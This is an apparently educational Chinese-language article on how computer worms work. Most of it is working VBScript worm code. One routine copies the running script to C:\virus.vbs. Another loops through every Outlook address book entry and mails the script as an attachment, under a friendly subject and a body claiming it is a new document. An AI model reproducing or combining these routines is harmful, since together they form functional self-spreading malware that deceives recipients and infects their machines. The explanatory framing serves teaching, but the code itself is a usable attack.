计算机蠕虫病毒的工作原理是什么？？？？

一、蠕虫病毒具有自我复制能力

我们以普通的VB脚本为例来看看：

Set objFs=CreateObject （“Scripting.FileSystemObject”）

'创建一个文件系统对象

objFs.CreateTextFile （"C:\virus.txt", 1）

'通过文件系统对象的方法创建了一个TXT文件。

如果我们把这两句话保存成为.vbs的VB脚本文件，点击就会在C盘中创建一个TXT文件了。倘若我们把第二句改为：

objFs.GetFile （WScript.ScriptFullName）.Copy （"C:\virus.vbs"）

就可以将自身复制到C盘virus.vbs这个文件。本句前面是打开这个脚本文件，WScript.ScriptFullName指明是这个程序本身，是一个完整的路径文件名。GetFile函数获得这个文件，Copy函数将这个文件复制到C盘根目录下virus.vbs这个文件。这么简单的两句就实现了自我复制的功能，已经具备病毒的基本特征――自我复制能力。

二、蠕虫病毒具有很强的传播性

病毒需要传播，电子邮件病毒的传播无疑是通过电子邮件传播的。对于OutLook来说地址簿的功能相当不错，可是也给病毒的传播打开了方便之门。几乎所有通过OutLook传播的电子邮件病毒都是向地址簿中存储的电子邮件地址发送内同相同的脚本附件完成的。看看如下的代码：

Set objOA=Wscript.CreateObject （"Outlook.Application"）

'创建一个OUTLOOK应用的对象

Set objMapi=objOA.GetNameSpace （"MAPI"）

'取得MAPI名字空间

For i=1 to objMapi.AddressLists.Count

'遍历地址簿

Set objAddList=objMapi.AddressLists （i）

For j=1 To objAddList. AddressEntries.Count

Set objMail=objOA.CreateItem （0）

objMail.Recipients.Add （objAddList. AddressEntries （j））

'取得收件人邮件地址

objMail.Subject="你好!"

'设置邮件主题

objMail.Body="这次给你的附件，是我的新文档！"

'设置信件内容

objMail.Attachments.Add （“c:\virus.vbs"）

'把自己作为附件扩散出去

objMail.Send

'发送邮件

Next

Next

Set objMapi=Nothing

'清空objMapi变量，释放资源，值得学习的编程习惯

Set objOA=Nothing

'清空objOA变量